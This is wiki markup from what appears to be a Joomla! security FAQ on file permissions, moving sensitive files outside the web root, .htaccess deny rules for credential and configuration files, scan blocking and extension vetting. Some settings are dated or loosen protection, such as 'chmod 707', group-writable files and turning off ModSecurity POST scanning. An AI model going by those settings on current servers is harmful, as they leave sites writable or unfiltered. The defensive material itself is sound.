 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
&lt;br /&gt;
If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the &#039;&#039;configuration.php&#039;&#039; file.&lt;br /&gt;
&lt;br /&gt;
Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.&lt;br /&gt;
&lt;br /&gt;
If you decide to use &#039;&#039;caching&#039;&#039; the cache directory will need to be &#039;&#039;writable&#039;&#039; by the Web server user to allow it to write its temporary files.&lt;br /&gt;
&lt;br /&gt;
==What are the recommended file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.&lt;br /&gt;
&lt;br /&gt;
==How can I avoid using chmod 0777 to enable installs?==&lt;br /&gt;
&lt;br /&gt;
On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Edit the Apache user.conf file and tell apache to run under the FTP account.&lt;br /&gt;
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Optional&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.&lt;br /&gt;
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well&lt;br /&gt;
&lt;br /&gt;
==Isn&#039;t locating all Joomla! files inside public_html a security risk?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Short answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Potentially, yes. Your site can be secure, but you must be careful and vigilant.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Long answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.&lt;br /&gt;
&lt;br /&gt;
Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.&lt;br /&gt;
&lt;br /&gt;
As long as you want the entire world to view your public_html directory there is no problem. After all, that&#039;s exactly what it&#039;s designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.&lt;br /&gt;
&lt;br /&gt;
If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.&lt;br /&gt;
&lt;br /&gt;
One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The incredible lightness of living outside the fence&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.&lt;br /&gt;
&lt;br /&gt;
Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.&lt;br /&gt;
&lt;br /&gt;
Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! defense&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Despite it&#039;s apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The challenge&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.&lt;br /&gt;
&lt;br /&gt;
This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you&#039;ll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)&lt;br /&gt;
&lt;br /&gt;
During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.&lt;br /&gt;
&lt;br /&gt;
The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.&lt;br /&gt;
&lt;br /&gt;
 To (Deny, then Allow), or (Allow, then Deny)?&lt;br /&gt;
&lt;br /&gt;
The real problem with the above &amp;quot;all known&amp;quot; qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.&lt;br /&gt;
&lt;br /&gt;
Consider the logic for a password authentication script. We have essentially two choices:&lt;br /&gt;
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.&lt;br /&gt;
# First deny all access, then allow any username/password combination that DOES match the approved list.&lt;br /&gt;
&lt;br /&gt;
Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it&#039;s not usually a security breach.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The good news&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.&lt;br /&gt;
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation. &lt;br /&gt;
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.&lt;br /&gt;
&lt;br /&gt;
==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==&lt;br /&gt;
&lt;br /&gt;
There are two defines files that will generally need to be edited.  /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.&lt;br /&gt;
&lt;br /&gt;
 define( &#039;JPATH_ROOT&#039; , implode( DS, $parts ) );&lt;br /&gt;
 define( &#039;JPATH_SITE&#039; , JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_CONFIGURATION&#039;, JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_ADMINISTRATOR&#039;, JPATH_ROOT . DS . &#039;administrator&#039; );&lt;br /&gt;
 define( &#039;JPATH_LIBRARIES&#039; , JPATH_ROOT . DS . &#039;libraries&#039; );&lt;br /&gt;
 define( &#039;JPATH_INSTALLATION&#039; , JPATH_ROOT . DS . &#039;installation&#039; );&lt;br /&gt;
&lt;br /&gt;
.DS. = Directory Seperator&lt;br /&gt;
&lt;br /&gt;
==Moving sensitive files outside the web root==&lt;br /&gt;
{{:Moving sensitive files outside the web root}}&lt;br /&gt;
&lt;br /&gt;
==How do I block direct access to critical files using .htaccess?==&lt;br /&gt;
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you  are finished.&lt;br /&gt;
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Files .htaccess&amp;gt;&lt;br /&gt;
 order allow,deny&lt;br /&gt;
 deny from all&lt;br /&gt;
 &amp;lt;/Files&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;configuration.php&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can also protect a lot of file extensions in one single rule. Exemple (the file names between &#039; &#039;&#039;&#039;(&#039;&#039;&#039; &#039; and &#039; &#039;&#039;&#039;)&#039;&#039;&#039; &#039; in this rule are the file extensions to protect ):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;\.(htaccess|htpasswd|ini|phps|log|sh|conf)$&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==How do I recursively adjust file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using Joomla! Administration&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the Back-end, go to Site --&amp;gt; Global Configuration --&amp;gt; Server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using the UNIX shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.&lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
 chmod 707 images&lt;br /&gt;
 chmod 707 images/stories&lt;br /&gt;
 chown apache:apache cache&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes:&#039;&#039;&#039;&lt;br /&gt;
# Test all third party extensions after changing permissions.&lt;br /&gt;
# You may need to reset write permissions to install more extensions.&lt;br /&gt;
&lt;br /&gt;
==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
Use Joomla version 1.5 or newer&lt;br /&gt;
&lt;br /&gt;
A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.&lt;br /&gt;
&lt;br /&gt;
Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Help&#039;&#039;&#039;&lt;br /&gt;
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t restricting access by IP recommended?==&lt;br /&gt;
&lt;br /&gt;
Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker&#039;s actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.&lt;br /&gt;
&lt;br /&gt;
= Joomla! Extensions =&lt;br /&gt;
&lt;br /&gt;
==Why are there vulnerable extensions?==&lt;br /&gt;
&lt;br /&gt;
A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]. &lt;br /&gt;
&lt;br /&gt;
: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.&lt;br /&gt;
&lt;br /&gt;
: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla&#039;s success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others&#039; Web sites.&lt;br /&gt;
&lt;br /&gt;
: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.&lt;br /&gt;
&lt;br /&gt;
==What is a vulnerable extension?==&lt;br /&gt;
&lt;br /&gt;
A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.&lt;br /&gt;
&lt;br /&gt;
Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:&lt;br /&gt;
&lt;br /&gt;
# Know the version numbers of all installed extensions.&lt;br /&gt;
# Use only the latest stable version of all extensions.&lt;br /&gt;
# Completely remove all files of insecure or unused extensions.&lt;br /&gt;
&lt;br /&gt;
==How do I choose secure extensions?==&lt;br /&gt;
&lt;br /&gt;
: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.&lt;br /&gt;
&lt;br /&gt;
: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:&lt;br /&gt;
&lt;br /&gt;
1. When was the last version released?&lt;br /&gt;
&lt;br /&gt;
: If it has been over a year, consider the project abandoned and find something else. Do not install old components.&lt;br /&gt;
&lt;br /&gt;
2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)&lt;br /&gt;
&lt;br /&gt;
: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension have a history of good security practices?&lt;br /&gt;
&lt;br /&gt;
: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.&lt;br /&gt;
&lt;br /&gt;
4. Is there a support community for this extension?&lt;br /&gt;
&lt;br /&gt;
: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.&lt;br /&gt;
&lt;br /&gt;
5. Is there only a Mambo version of this extension?&lt;br /&gt;
&lt;br /&gt;
: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.&lt;br /&gt;
&lt;br /&gt;
6. Is the extension generally bug free?&lt;br /&gt;
&lt;br /&gt;
: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bad Practices:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Having PHP&#039;s Register Globals enabled.&lt;br /&gt;
# Using out of date or abandoned extension.&lt;br /&gt;
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)&lt;br /&gt;
# Poorly configured file permissions.&lt;br /&gt;
# No request filtering or software &amp;quot;firewall&amp;quot;. (such as mod_rewrite rules or mod_security Apache modules)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bugs:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Not including defined(&#039;_VALID_MOS&#039;) or die... statements&lt;br /&gt;
# Poorly constructed include() statements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. How complex is the extension? &lt;br /&gt;
&lt;br /&gt;
: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can&#039;t tell what it&#039;s doing, you should not trust it.&lt;br /&gt;
&lt;br /&gt;
2. Does the extension read or write files to your server? &lt;br /&gt;
&lt;br /&gt;
: Programs that read files may inadvertently violate access restrictions you&#039;ve set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension interact with other programs on your system? &lt;br /&gt;
&lt;br /&gt;
: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?&lt;br /&gt;
&lt;br /&gt;
4. Does the extension run with suid (set-user-id) privileges? &lt;br /&gt;
&lt;br /&gt;
: In general this is very dangerous; extensions need an excellent reasons for doing this.&lt;br /&gt;
&lt;br /&gt;
5. Does the extension validate all user input, such as in form fields and in the URL?&lt;br /&gt;
&lt;br /&gt;
6. Does the extension use explicit path names when invoking external programs? &lt;br /&gt;
&lt;br /&gt;
: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.&lt;br /&gt;
&lt;br /&gt;
7. Is the extension secure against direct access throught the URL? &lt;br /&gt;
&lt;br /&gt;
: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here&lt;br /&gt;
&lt;br /&gt;
8. Is the extension secure against remote file inclusions?&lt;br /&gt;
&lt;br /&gt;
9. Is the extension secure against SQL injections?&lt;br /&gt;
&lt;br /&gt;
10. Is the extension secure against Cross Site Scripting (XSS)?&lt;br /&gt;
&lt;br /&gt;
11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON? &lt;br /&gt;
&lt;br /&gt;
: If so, then it is probably violating number 7 above.&lt;br /&gt;
&lt;br /&gt;
12. Does the extension provide higher database access to less privileged users? &lt;br /&gt;
&lt;br /&gt;
: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?&lt;br /&gt;
&lt;br /&gt;
==Why does the Extensions site include insecure extensions?==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.&lt;br /&gt;
&lt;br /&gt;
If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.&lt;br /&gt;
&lt;br /&gt;
To be safe, you must verify the security of every extension you install.&lt;br /&gt;
&lt;br /&gt;
Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disclaimer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.&lt;br /&gt;
&lt;br /&gt;
==Why is there a warning in the extensions install screen?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s just a warning! You are of course free to install any extension you want onto your own site, but remember that &#039;&#039;&#039;YOU&#039;&#039;&#039; are responsible for the safety of your site and the quality of the applications you install.&lt;br /&gt;
&lt;br /&gt;
The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension&#039;s code.&lt;br /&gt;
&lt;br /&gt;
The [[Vulnerable Extensions List]] is a valuable source of information on what &#039;&#039;&#039;NOT&#039;&#039;&#039; to install.&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t un-publishing a vulnerable extension enough to protect my site?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension&#039;s files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.&lt;br /&gt;
&lt;br /&gt;
 www.your_site.org/components/com_bad_component/vulnerable_file.php&lt;br /&gt;
 www.your_site.org/modules/mod_bad_module/vulnerable_file.php&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions for removing a vulnerable extension&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Make a list of files to remove&lt;br /&gt;
&lt;br /&gt;
: If you can locate it, read the extension&#039;s xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:&lt;br /&gt;
&lt;br /&gt;
 mod_vulnerable.php&lt;br /&gt;
 mod_vulnerable/vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/yet_another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/index.html&lt;br /&gt;
&lt;br /&gt;
2. Uninstall via the Joomla Installer:&lt;br /&gt;
&lt;br /&gt;
: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.&lt;br /&gt;
&lt;br /&gt;
3. Check that the uninstall process was complete:&lt;br /&gt;
&lt;br /&gt;
: Don&#039;t trust the extension to safely remove all of it&#039;s files. Compare directories and files on your system to the extension&#039;s xml list to ensure that all related files were actually removed.&lt;br /&gt;
&lt;br /&gt;
4. Optionally, remove related database tables:&lt;br /&gt;
&lt;br /&gt;
: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension&#039;s xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)&lt;br /&gt;
&lt;br /&gt;
= Apache =&lt;br /&gt;
&#039;&#039;&#039;Covers information on Apache Web server, Apache modules, .htaccess files, etc.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==What is Apache modSecurity?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.&lt;br /&gt;
&lt;br /&gt;
When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.&lt;br /&gt;
&lt;br /&gt;
Quality hosting providers customize mod_security rules to suit each customer. &lt;br /&gt;
&lt;br /&gt;
If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box &#039;&#039;usually&#039;&#039; works with typical ModSecurity settings, but this is dependent on each hosting provider&#039;s unique configuration. &lt;br /&gt;
&lt;br /&gt;
Overall, mod_security is a excellent tool, but this is really something your host should manage.&lt;br /&gt;
&lt;br /&gt;
One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding &#039;&#039;&#039;SecFilterScanPOST Off&#039;&#039;&#039; to your .htaccess file.&lt;br /&gt;
&lt;br /&gt;
ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.modsecurity.org/ Official ModSecurity Site]&lt;br /&gt;
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]&lt;br /&gt;
&lt;br /&gt;
== How do I block directory scans using  .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with &amp;quot;phpMyAdmin&amp;quot; to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&#039;&#039;&#039;Sample Apache Rewrite Rule&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 RewriteRule ^phpMyAdmin /index.php [L]&lt;br /&gt;
 RewriteRule ^phpMyAdmin - [F]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Some Regular Expression Tips&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 ^ Means start of pattern&lt;br /&gt;
 . Means any character other than newlines&lt;br /&gt;
 + Means one or more of the previous character&lt;br /&gt;
 * Means zero or more of the previous character&lt;br /&gt;
 $ Means end of pattern&lt;br /&gt;
 \.  Literal periods must be escaped with a leading \&lt;br /&gt;
&lt;br /&gt;
==How can I change PHP settings using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Open the .htaccess file located in your site&#039;s home directory, or if you don&#039;t have one, create a blank one now. Note the period character (.) at the beginning of the file name.&lt;br /&gt;
&lt;br /&gt;
2. Add any of the following code samples to your .htaccess file, each on it&#039;s own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.&lt;br /&gt;
&lt;br /&gt;
 php_flag register_globals off&lt;br /&gt;
&lt;br /&gt;
 php_flag allow_url_fopen off&lt;br /&gt;
&lt;br /&gt;
 php_flag magic_quotes_gpc on&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
3. Save the .htaccess file in your site&#039;s home directory.&lt;br /&gt;
&lt;br /&gt;
4. Test your site&#039;s front end and back end.&lt;br /&gt;
&lt;br /&gt;
==How does FastCGI effect Joomla?==&lt;br /&gt;
&lt;br /&gt;
When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone&#039;s scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.&lt;br /&gt;
&lt;br /&gt;
Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server&#039;s main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.&lt;br /&gt;
&lt;br /&gt;
If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.&lt;br /&gt;
&lt;br /&gt;
==How can I check if mod_rewrite is enabled?==&lt;br /&gt;
&lt;br /&gt;
Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.&lt;br /&gt;
&lt;br /&gt;
1. Enable SEO in your administrator! (administrator &amp;gt; SEO &amp;gt; Enable &amp;gt; Save)&lt;br /&gt;
&lt;br /&gt;
2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.&lt;br /&gt;
&lt;br /&gt;
3. Place ONLY the following lines in your .htaccess file in the domain root folder.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Point your browser to: http://www.example.com/joomla.html&lt;br /&gt;
&lt;br /&gt;
(Replace &#039;example.com&#039; with your site&#039;s actual URL.)&lt;br /&gt;
&lt;br /&gt;
5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.&lt;br /&gt;
&lt;br /&gt;
